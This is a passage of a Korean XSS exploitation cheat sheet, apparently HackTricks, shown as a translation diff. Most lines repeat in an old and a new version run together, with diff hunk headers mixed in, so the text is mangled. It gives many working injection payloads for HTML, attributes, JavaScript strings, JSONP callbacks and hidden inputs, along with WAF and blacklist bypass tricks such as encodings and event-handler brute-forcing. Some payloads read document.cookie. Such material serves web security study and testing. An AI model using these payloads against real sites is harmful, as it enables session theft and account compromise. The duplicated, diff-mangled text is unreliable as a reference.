4. 입력이 "**악용할 수 없는 태그**" 내부에 반영되는 경우 취약점을 악용하기 위해 **`accesskey`** 트릭을 시도할 수 있습니다(이를 악용하기 위해 일종의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`** 4. 입력이 "**악용할 수 없는 태그**" 내부에 반영되는 경우 취약점을 악용하기 위해 **`accesskey`** 트릭을 시도할 수 있습니다(이를 악용하기 위해 일종의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`**
Angular가 클래스 이름을 제어하는 경우 이상한 예: Angular가 클래스 이름을 제어하는 경우 이상한 XSS의 예:
```html ```html
<div ng-app> <div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -72,13 +72,13 @@ Angular가 클래스 이름을 제어하는 경우 이상한 예제:
``` ```
### JavaScript 코드 내부 ### JavaScript 코드 내부
이 경우에는 HTML 페이지의 **`<script> [...] </script>`** 태그 사이, `.js` 파일 내부 또는 **`javascript:`** 프로토콜을 사용하는 속성 내부에 입력이 반영됩니다: 이 경우에는 입력이 HTML 페이지의 **`<script> [...] </script>`** 태그 사이, `.js` 파일 내부 또는 **`javascript:`** 프로토콜을 사용하는 속성 내부에 반영됩니다:
* **`<script> [...] </script>`** 태그 사이에 반영된 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 문맥에서 탈출을 시도할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 구문 분석**한 다음 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 내에 있는 것을 인식하지 못하기 때문에 작동합니다. * **`<script> [...] </script>`** 태그 사이에 반영된 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 문맥에서 탈출을 시도할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 구문 분석**한 다음 내용을 구문 분석하기 때문에, 주입된 `</script>` 태그가 HTML 코드 내에 있는 것을 인식하지 못하기 때문에 작동합니다.
* **JS 문자열 내부**에 반영된 경우이고 마지막 트릭이 작동하지 않는 경우 문자열을 **종료**하고 코드를 **실행**하고 JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않음): * **JS 문자열 내부**에 반영고 마지막 트릭이 작동하지 않는 경우 문자열을 **종료**하고 코드를 **실행**하고 JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않음):
* `'-alert(1)-'` * `'-alert(1)-'`
* `';-alert(1)//` * `';-alert(1)//`
* `\'-alert(1)//` * `\';alert(1)//`
* 템플릿 리터럴 내에 반영된 경우 `${ ... }` 구문을 사용하여 JS 표현식을 **포함**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` `` * 템플릿 리터럴 내에 반영된 경우 `${ ... }` 구문을 사용하여 JS 표현식을 **포함**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
* **유니코드 인코딩**을 사용하여 **유효한 javascript 코드**를 작성할 수 있습니다: * **유니코드 인코딩**을 사용하여 **유효한 javascript 코드**를 작성할 수 있습니다:
```javascript ```javascript
@ -88,7 +88,7 @@ Angular가 클래스 이름을 제어하는 경우 이상한 예제:
``` ```
#### 자바스크립트 호이스팅 #### 자바스크립트 호이스팅
자바스크립트 호이스팅은 **사용된 후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 가리킵니다. 이를 통해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\ 자바스크립트 호이스팅은 **사용된 후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 가리킵니다. 이를 통해 XSS가 선언되지 않은 변수나 함수를 사용하는 시나리오를 악용할 수 있습니다.**\
**더 많은 정보를 보려면 다음 페이지를 확인하세요:** **더 많은 정보를 보려면 다음 페이지를 확인하세요:**
{% content-ref url="js-hoisting.md" %} {% content-ref url="js-hoisting.md" %}
@ -99,13 +99,13 @@ Angular가 클래스 이름을 제어하는 경우 이상한 예제:
여러 웹 페이지는 **실행할 함수의 이름을 매개변수로 받는** 엔드포인트를 가지고 있습니다. 일반적으로 볼 수 있는 예시는 `?callback=callbackFunc`와 같습니다. 여러 웹 페이지는 **실행할 함수의 이름을 매개변수로 받는** 엔드포인트를 가지고 있습니다. 일반적으로 볼 수 있는 예시는 `?callback=callbackFunc`와 같습니다.
사용자에 의해 직접 제공된 값이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정**하여 콘솔에서 다음과 같은 오류를 찾는 것입니다: 사용자가 직접 제공한 값이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정**하여 콘솔에서 다음과 같은 오류를 찾는 것입니다:
![](<../../.gitbook/assets/image (711).png>) ![](<../../.gitbook/assets/image (711).png>)
취약하다면, **`?callback=alert(1)`**과 같은 값을 보내어 **경고를 트리거**할 수 있을 수 있습니다. 그러나 이러한 엔드포인트는 보통 이러한 내용을 **검증하여 문자, 숫자, 점 및 밑줄만 허용**할 수 있습니다 (**`[\w\._]`**). 취약하다면, 값으로 **`?callback=alert(1)`**을 보내어 **경고를 트리거**할 수 있을 것입니다. 그러나 이러한 엔드포인트는 **콘텐츠를 유효성 검사**하여 문자, 숫자, 점 및 밑줄만 허용할 수 있도록 할 것입니다 (**`[\w\._]`**).
그러나 그 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 **모든 요소에 액세스**할 수 있기 때문입니다: 그러나 그 제한이 있더라도 여전히 몇 가지 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 DOM의 **모든 요소에 액세스**할 수 있기 때문입니다:
![](<../../.gitbook/assets/image (747).png>) ![](<../../.gitbook/assets/image (747).png>)
@ -117,11 +117,11 @@ nextElementSibiling
lastElementSibiling lastElementSibiling
parentElement parentElement
``` ```
당신은 직접 **Javascript 함수를 트리거**해 볼 수도 있습니다: `obj.sales.delOrders`. 당신은 **Javascript 함수를 트리거**할 수도 있습니다: `obj.sales.delOrders`.
그러나 보통 지정된 함수를 실행하는 엔드포인트는 DOM이 그다지 흥미로운 없는 엔드포인트일 것이며, **동일 출처의 다른 페이지**는 **더 흥미로운 DOM**을 가지고 더 많은 작업을 수행할 수 있습니다. 그러나 보통 지정된 함수를 실행하는 엔드포인트는 DOM이 그다지 흥미로운 없는 엔드포인트일 것이며, **동일 출처의 다른 페이지**는 **더 흥미로운 DOM**을 가지고 더 많은 작업을 수행할 수 있습니다.
따라서, **다른 DOM에서 이 취약점을 악용**하기 위해 **동일 출처 메서드 실행 (SOME)** 공격이 개발되었습니다: 따라서 **다른 DOM에서 이 취약점을 악용**하기 위해 **동일 출처 방법 실행 (SOME)** 공격이 개발되었습니다:
{% content-ref url="some-same-origin-method-execution.md" %} {% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md) [some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -137,7 +137,7 @@ parentElement
### **Universal XSS** ### **Universal XSS**
이러한 종류의 XSS는 **어디서나** 발견될 수 있습니다. 이것들은 웹 애플리케이션의 클라이언트 공격뿐만 아니라 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 종류의 **임의의 JavaScript 실행**은 심지어 **RCE** 획득, 클라이언트 및 서버에서 **임의의 파일 읽기** 등을 위해 악용될 수 있습니다.\ 이러한 종류의 XSS는 **어디서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 측 공격뿐만 아니라 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 종류의 **임의의 JavaScript 실행**은 심지어 **RCE**를 얻거나, 클라이언트 및 서버에서 **임의의 파일을 읽을 수 있도록 악용**될 수 있습니다.\
일부 **예시**: 일부 **예시**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -154,23 +154,23 @@ parentElement
## 원시 HTML 내부 삽입 ## 원시 HTML 내부 삽입
당신의 입력이 **HTML 페이지 내에 반영**되거나 이 문맥에서 HTML 코드를 이스케이프하고 삽입할 수 있는 경우, **첫 번째** 해야 할 일은 `<`를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**하고 HTML이 인코딩되었는지 또는 삭제되었는지 또는 **변경 없이 반영**되는지 확인해보세요. **마지막 경우에만 이 케이스를 악용할 수 있을 것입니다**.\ 당신의 입력이 **HTML 페이지 내에 반영**되거나 이 문맥에서 HTML 코드를 탈출하고 삽입할 수 있는 경우, **첫 번째** 해야 할 일은 `<`를 악용하여 새 태그를 만들 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**하고 HTML이 인코딩되었는지 또는 삭제되었는지 또는 **변경 없이 반영**되는지 확인하십시오. **마지막 경우에만 이 케이스를 악용할 수 있습니다**.\
이 경우에는 블랙/화이트리스트가 사용되지 않다면, 다음과 같은 페이로드를 사용할 수 있습니다: 이 경우에는 블랙/화이트리스트가 사용되지 않다면, 다음과 같은 페이로드를 사용할 수 있습니다:
```html ```html
<script>alert(1)</script> <script>alert(1)</script>
<img src=x onerror=alert(1) /> <img src=x onerror=alert(1) />
<svg onload=alert('XSS')> <svg onload=alert('XSS')>
``` ```
하지만, 태그/속성 블랙/화이트리스트가 사용되고 있다면, 만들 수 있는 **태그를 무차별 대입(brute-force)** 해야 합니다.\ 하지만, 태그/속성 블랙/화이트리스트가 사용 중이라면, 만들 수 있는 **태그를 무차별 대입(brute-force)** 해야 합니다.\
**허용된 태그를 찾은 후**, 발견한 유효한 태그 내에서 **속성/이벤트를 무차별 대입(brute-force)**서 어떻게 공격할 수 있는지 확인해야 합니다. **허용된 태그를 찾은 후**, 발견한 유효한 태그 내에서 **속성/이벤트를 무차별 대입(brute-force)**야 합니다. 이를 통해 어떻게 공격할 수 있는지 확인할 수 있습니다.
### 태그/이벤트 무차별 대입 ### 태그/이벤트 무차별 대입
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 이동하여 _**Copy tags to clipboard**_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내고 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 무차별 대입(brute-force)** 할 수 있습니다 (동일한 웹 페이지에서 _**Copy events to clipboard**_를 클릭하고 이전과 동일한 절차를 따릅니다). [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)로 이동하여 _**태그 복사**_를 클릭합니다. 그런 다음, Burp Intruder를 사용하여 모든 태그를 보내고 WAF가 악성으로 감지하지 않은 태그가 있는지 확인합니다. 사용할 수 있는 태그를 발견한 후, 유효한 태그를 사용하여 **모든 이벤트를 무차별 대입**할 수 있습니다(동일한 웹 페이지에서 _**이벤트 복사**_를 클릭하고 이전과 동일한 절차를 따릅니다).
### 사용자 정의 태그 ### 사용자 정의 태그
유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성을 사용하여 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내어 페이지가 **해당 객체에 초점을 맞추고** 코드를 **실행**하도록 해야 합니다: 유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성을 사용하여 JS 코드를 실행 수 있습니다. XSS 요청에서 URL을 `#`로 끝내어 페이지가 **해당 객체에 초점을 맞추고** 코드를 **실행**하도록 해야 합니다:
``` ```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
``` ```
@ -229,7 +229,7 @@ onerror=alert`1`
### 길이 우회 (작은 XSSs) ### 길이 우회 (작은 XSSs)
{% hint style="info" %} {% hint style="info" %}
**다양한 환경을 위한 더 작은 XSS** 페이로드는 [여기](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [여기](https://tinyxss.terjanq.me)에서 찾을 수 있습니다. **다양한 환경을 위한 더 작은 XSS** payload는 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
{% endhint %} {% endhint %}
```html ```html
<!-- Taken from the blog of Jorge Lajara --> <!-- Taken from the blog of Jorge Lajara -->
@ -239,18 +239,18 @@ onerror=alert`1`
``` ```
### 클릭 XSS - 클릭재킹 ### 클릭 XSS - 클릭재킹
만약 취약점을 악용하기 위해 **사용자가 링크나 폼을 클릭해야 하는 경우** 사전에 데이터가 채워진 링크나 폼을 클릭하도록 유도할 수 있습니다. [**클릭재킹을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우). 만약 취약점을 악용하기 위해 **사용자가 링크나 폼을 클릭해야 하는 경우** 미리 채워진 데이터가 있는 [**클릭재킹을 악용**](../clickjacking.md#xss-clickjacking)해 볼 수 있습니다 (페이지가 취약한 경우).
### 불가능 - 댕글마크업 ### 불가능 - 떨어진 마크업
만약 **HTML 태그에 JS 코드를 실행할 속성을 만들 수 없다고 생각한다면**, [**댕글마크업**](../dangling-markup-html-scriptless-injection/)을 확인해 보세요. 왜냐하면 **JS 코드를 실행하지 않고도** 취약점을 **악용**할 수 있기 때문입니다. 만약 **HTML 태그를 사용하여 JS 코드를 실행하는 속성을 만들 수 없다고 생각한다면**, [**떨어진 마크업**](../dangling-markup-html-scriptless-injection/)을 확인해 보세요. 왜냐하면 **JS 코드를 실행하지 않고도** 취약점을 **악용**할 수 있기 때문입니다.
## HTML 태그 내부에 주입 ## HTML 태그 내부에 주입하기
### 태그 내부/속성 값에서 탈출 ### 태그 내부/속성 값에서 탈출
만약 **HTML 태그 내부에 있다면**, 먼저 태그에서 **탈출**하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행해 볼 수 있습니다.\ 만약 **HTML 태그 내부에 있다면**, 먼저 태그에서 **탈출**하고 [이전 섹션](./#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행해 볼 수 있습니다.\
태그에서 **탈출할 수 없다면**, 태그 내에 새로운 속성을 만들어 JS 코드를 실행해 보려고 시도할 수 있습니다. 예를 들어, 이 예제에서는 더블 쿼트를 사용하여 속성에서 탈출합니다 (입력이 태그 내부에 직접 반영되는 경우 더블 쿼트가 필요하지 않습니다): 만약 **태그에서 탈출할 수 없다면**, 태그 내에 새로운 속성을 만들어 JS 코드를 실행해 보려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 이중 따옴표를 사용하여 속성에서 탈출합니다. 입력이 태그 내부에 직접 반영되는 경우 이중 따옴표가 필요하지 않습니다_):
```bash ```bash
" autofocus onfocus=alert(document.domain) x=" " autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -267,7 +267,7 @@ onerror=alert`1`
``` ```
### 속성 내부 ### 속성 내부
속성에서 **탈출할 수 없더라도** (`"`가 인코딩되거나 삭제됨), 제어하는 값이 **전체인지 일부인지에 따라** 해당 값이 반영된 **어떤 속성**인지에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행시킬 수 있습니다.\ 속성에서 **탈출할 수 없더라도** (`"`가 인코딩되거나 삭제됨) 제어하는 값이 **전체인지 일부인지에 따라** 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어할 경우 클릭할 때 임의의 코드를 실행할 수 있습니다.\
또 다른 흥미로운 **예시**는 `href` 속성인데, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** 또 다른 흥미로운 **예시**는 `href` 속성인데, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내부 우회** **HTML 인코딩/URL 인코딩을 사용한 이벤트 내부 우회**
@ -303,7 +303,7 @@ HTML 태그 속성 값 내의 **HTML 인코딩된 문자**는 **런타임에서
``` ```
### 특수 프로토콜 속성 내부 ### 특수 프로토콜 속성 내부
거기 일부 위치에서 **임의의 JS 코드를 실행**하기 위해 **`javascript:`** 또는 **`data:`** 프로토콜을 사용할 수 있습니다. 일부는 사용자 상호 작용을 필요로하며 일부는 그렇지 않을 수 있습니다. 거기서 일부 위치에서 **임의의 JS 코드를 실행**하기 위해 **`javascript:`** 또는 **`data:`** 프로토콜을 사용할 수 있습니다. 일부는 사용자 상호 작용을 필요로 할 수도 있고, 일부는 그렇지 않을 수도 있습니다.
```javascript ```javascript
javascript:alert(1) javascript:alert(1)
JavaSCript:alert(1) JavaSCript:alert(1)
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**이러한 프로토콜을 삽입할 수 있는 위치** **이러한 프로토콜을 삽입할 수 있는 위치**
**일반적으로** `javascript:` 프로토콜은 `href` 속성을 허용하는 **모든 태그에서 사용할 수 있으며**, 대부분의 태그에서는 **`src` 속성을 허용하지만** (`<img` 제외) **일반적으로** `javascript:` 프로토콜은 `href` 속성을 허용하는 **모든 태그에서 사용할 수 있으며**, 대부분의 태그에서는 **`src` 속성을 허용하는 대부분의 태그에서** 사용할 수 있습니다 (하지만 `<img`는 제외).
```markup ```markup
<a href="javascript:alert(1)"> <a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -357,11 +357,11 @@ _**이 경우에는 이전 섹션에서 사용한 HTML 인코딩 및 유니코
%27-alert(1)-%27 %27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe> <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
``` ```
참고로 페이로드를 인코딩하기 위해 URLencode + HTMLencode를 어떤 순서로든 사용하려고 하면 작동하지 않지만, 페이로드 내에서 그들을 섞어 사용할 수 있습니다. 참고로, **URLencode + HTMLencode**을 **어떤 순서로든 사용하여** **페이로드**를 인코딩하려고 하면 **작동하지 않을 것**이지만, **페이로드 내에서 둘을 섞을 수는** 있습니다.
`javascript:`와 함께 **Hex** 및 **Octal 인코딩**을 사용하는 방법 **`javascript:`와 함께 16진수 및 8진수 인코딩 사용하기**
`iframe``src` 속성 내에서 **HTML 태그를 실행**하기 위해 **Hex** 및 **Octal 인코딩**을 사용할 수 있습니다: `iframe``src` 속성 내에서 **16진수** 및 **8진수 인코딩**을 사용하여 **JS를 실행할 HTML 태그를 선언**할 수 있습니다:
```javascript ```javascript
//Encoded: <svg onload=alert(1)> //Encoded: <svg onload=alert(1)>
// This WORKS // This WORKS
@ -385,8 +385,8 @@ _**이 경우에는 이전 섹션에서 사용한 HTML 인코딩 및 유니코
### 이벤트 핸들러 우회 ### 이벤트 핸들러 우회
먼저 유용한 **"on" 이벤트 핸들러**에 대해 이 페이지([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))를 확인하십시오.\ 우선 유용한 **"on" 이벤트 핸들러**에 대해 이 페이지([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))를 확인하십시오.\
이벤트 핸들러를 생성하는 것을 방지하는 블랙리스트가 있는 경우 다음 우회 방법을 시도할 수 있습니다. 이벤트 핸들러를 생성하는 것을 방지하는 블랙리스트가 있는 경우 다음 우회 방법을 시도할 수 있습니다:
```javascript ```javascript
<svg onload%09=alert(1)> //No safari <svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)> <svg %09onload=alert(1)>
@ -401,9 +401,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B Android: %09 %20 %28 %2C %3B
``` ```
### "Unexploitable tags"에서의 XSS (숨겨진 입력, 링크, 캐노니컬, 메타) ### "Unexploitable tags" (hidden input, link, canonical, meta)에서의 XSS
[**여기**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **에서 숨겨진 입력을 악용하는 것이 이제 가능합니다:** [**여기**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags)에서 **이제 숨겨진 입력을 악용할 수 있습니다:**
```html ```html
<button popvertarget="x">Click me</button> <button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)> <input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
@ -416,7 +416,7 @@ Android: %09 %20 %28 %2C %3B
<button popovertarget="newsletter">Subscribe to newsletter</button> <button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div> <div popover id="newsletter">Newsletter popup</div>
``` ```
[**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **피해자**를 **설득**하여 **키 조합**을 누르도록 유도할 수 있다면, **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있습니다. Firefox Windows/Linux에서는 **ALT+SHIFT+X**이고 OS X에서는 **CTRL+ALT+X**입니다. 다른 키 조합을 지정할 수 있으며, 이를 위해 액세스 키 속성에서 다른 키를 사용할 수 있습니다. 다음은 벡터입니다: [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields)에서: **피해자**를 **설득**하여 **키 조합**을 누르도록 유도할 수 있다면, **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있습니다. Firefox Windows/Linux에서는 키 조합이 **ALT+SHIFT+X**이며, OS X에서는 **CTRL+ALT+X**입니다. 액세스 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 다음은 벡터입니다:
```markup ```markup
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
``` ```
@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
### 블랙리스트 우회 ### 블랙리스트 우회
이 섹션에서 이미 다양한 인코딩을 사용한 여러 트릭이 노출되었습니다. 다음 위치에서 사용할 수 있는 곳을 알아보기 위해 **돌아가세요:** 이 섹션에서 이미 다양한 인코딩을 사용한 여러 트릭이 노출되었습니다. 다음 위치에서 사용할 수 있는 곳을 배우러 **돌아가세요:**
* **HTML 인코딩 (HTML 태그)** * **HTML 인코딩 (HTML 태그)**
* **유니코드 인코딩 (유효한 JS 코드가 될 수 있음):** `\u0061lert(1)` * **유니코드 인코딩 (유효한 JS 코드가 될 수 있음):** `\u0061lert(1)`
@ -438,15 +438,15 @@ Android: %09 %20 %28 %2C %3B
**JavaScript 코드 우회** **JavaScript 코드 우회**
다음 섹션의 [자바스크립트 블랙리스트 우회 기술](./#javascript-bypass-blacklists-techniques)를 읽으세요. 다음 섹션의 [자바스크립트 우회 블랙리스트 기술](./#javascript-bypass-blacklists-techniques)를 읽으세요.
### CSS-가젯 ### CSS-가젯
웹의 매우 작은 부분에서 XSS를 발견했다면 (아마도 푸터에 있는 onmouseover 요소가 있는 작은 링크), 해당 요소가 차지하는 공간을 최대화하여 링크가 실행될 확률을 높일 수 있습니다. 웹의 매우 작은 부분에서 XSS를 발견했다면 (아마도 푸터에 있는 작은 링크에 onmouseover 요소가 있는 경우), 해당 요소가 차지하는 공간을 **최대화**하여 링크가 실행될 확률을 높일 수 있습니다.
예를 들어, 다음과 같이 요소에 몇 가지 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` 예를 들어, 다음과 같이 요소에 몇 가지 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
그러나 WAF가 스타일 속성을 필터링하는 경우 CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어 다음과 같은 것을 찾았다면 그러나 WAF가 스타일 속성을 필터링하는 경우 CSS 스타일링 가젯을 사용할 수 있습니다. 따라서, 예를 들어 다음과 같은 것을 찾았다면
> .test {display:block; color: blue; width: 100%\} > .test {display:block; color: blue; width: 100%\}
@ -458,11 +458,11 @@ Android: %09 %20 %28 %2C %3B
> \<a href="" id=someid class=test onclick=alert() a=""> > \<a href="" id=someid class=test onclick=alert() a="">
트릭은 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)에서 가져온 것입니다. 요령은 [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)에서 가져온 것입니다.
## JavaScript 코드 내부에 삽입 ## JavaScript 코드 내부에 삽입
이 경우에는 **입력**이 `.js` 파일의 JS 코드 내부에 반영되거나 `<script>...</script>` 태그 사이에 있거나 JS 코드를 실행할 수 있는 HTML 이벤트 사이에 있거나 `javascript:` 프로토콜을 허용하는 속성 사이에 있을 것입니다. 이 경우 **입력**은 `.js` 파일이나 `<script>...</script>` 태그 사이 또는 JS 코드를 실행할 수 있는 HTML 이벤트 사이 또는 `javascript:` 프로토콜을 허용하는 속성 사이의 JS 코드 내에 **반영**될 것입니다.
### \<script> 태그 이스케이핑 ### \<script> 태그 이스케이핑
@ -470,9 +470,9 @@ Android: %09 %20 %28 %2C %3B
```javascript ```javascript
</script><img src=1 onerror=alert(document.domain)> </script><img src=1 onerror=alert(document.domain)>
``` ```
이 예에서는 싱글 따옴표를 **조차 닫지 않았음을 주목**하십시오. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행**되기 때문인데, 이는 페이지 요소를 식별하는 것을 포함하여 스크립트 블록을 식별하는 것을 의미합니다. 중첩된 스크립트를 이해하고 실행하기 위한 JavaScript의 파싱은 그 후에 수행됩니다. 이 예에서는 싱글 따옴표를 **조차 닫지 않았음을 주목**하십시오. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행**되기 때문인데, 이는 스크립트 블록을 포함한 페이지 요소를 식별하는 과정을 포함합니다. 자바스크립트의 파싱은 내장 스크립트를 이해하고 실행하는 것이 그 후에 이루어집니다.
### JS 코드 내부 ### 자바스크립트 코드 내부
`<>`가 살균되고 있다면 입력이 **위치한 곳에서 문자열을 이스케이프**하고 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**한데, 오류가 있으면 JS 코드가 실행되지 않을 수 있습니다. `<>`가 살균되고 있다면 입력이 **위치한 곳에서 문자열을 이스케이프**하고 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**한데, 오류가 있으면 JS 코드가 실행되지 않을 수 있습니다.
``` ```
@ -482,10 +482,10 @@ Android: %09 %20 %28 %2C %3B
``` ```
### 템플릿 리터럴 \`\` ### 템플릿 리터럴 \`\`
**문자열**을 구성하기 위해 JS는 작은 따옴표와 큰 따옴표 외에도 **역따옴표** **\` \`\`** 를 허용합니다. 이를 **템플릿 리터럴**이라고 하며 `${ ... }` 구문을 사용하여 **내장된 JS 표현식**을 실행할 수 있습니다.\ **문자열**을 구성하기 위해 JS는 작은 따옴표와 큰 따옴표 외에도 **역따옴표** **\` \`\` \`**를 허용합니다. 이를 **템플릿 리터럴**이라고 하며 `${ ... }` 구문을 사용하여 **내장된 JS 표현식**을 실행할 수 있습니다.\
따라서, 입력이 **역따옴표**를 사용하는 JS 문자열 내에 **반사**된 것을 발견하`${ ... }` 구문을 남용하여 **임의의 JS 코드**를 실행할 수 있습니다: 따라서, 입력이 **역따옴표**를 사용하는 JS 문자열 내에 **반사**된 것으로 판명되`${ ... }` 구문을 남용하여 **임의의 JS 코드**를 실행할 수 있습니다:
다음을 사용하여 **악용**할 수 있습니다: 이를 이용하여 다음과 같이 남용할 수 있습니다:
```javascript ```javascript
`${alert(1)}` `${alert(1)}`
`${`${`${`${alert(1)}`}`}`}` `${`${`${`${alert(1)}`}`}`}`
@ -542,12 +542,12 @@ eval(8680439..toString(30))(983801..toString(36))
'\t' //tab '\t' //tab
// Any other char escaped is just itself // Any other char escaped is just itself
``` ```
**JS 코드 내 공백 대체** **JS 코드 내에서 공백 대체**
```javascript ```javascript
<TAB> <TAB>
/**/ /**/
``` ```
**자바스크립트 주석 (from** [**JavaScript Comments**](./#javascript-comments) **트릭)** **JavaScript 주석 (from** [**JavaScript Comments**](./#javascript-comments) **트릭)**
```javascript ```javascript
//This is a 1 line comment //This is a 1 line comment
/* This is a multiline comment*/ /* This is a multiline comment*/
@ -734,23 +734,23 @@ top[8680439..toString(30)](1)
[dom-xss.md](dom-xss.md) [dom-xss.md](dom-xss.md)
{% endcontent-ref %} {% endcontent-ref %}
거기에서는 **DOM 취약점이 무엇인지, 어떻게 유발되는지, 그리고 어떻게 악용하는지에 대한 자세한 설명**을 찾을 수 있습니다.\ 거기에서는 **DOM 취약점이 무엇이며, 어떻게 유발되며, 어떻게 악용하는지에 대한 자세한 설명**을 찾을 수 있습니다.\
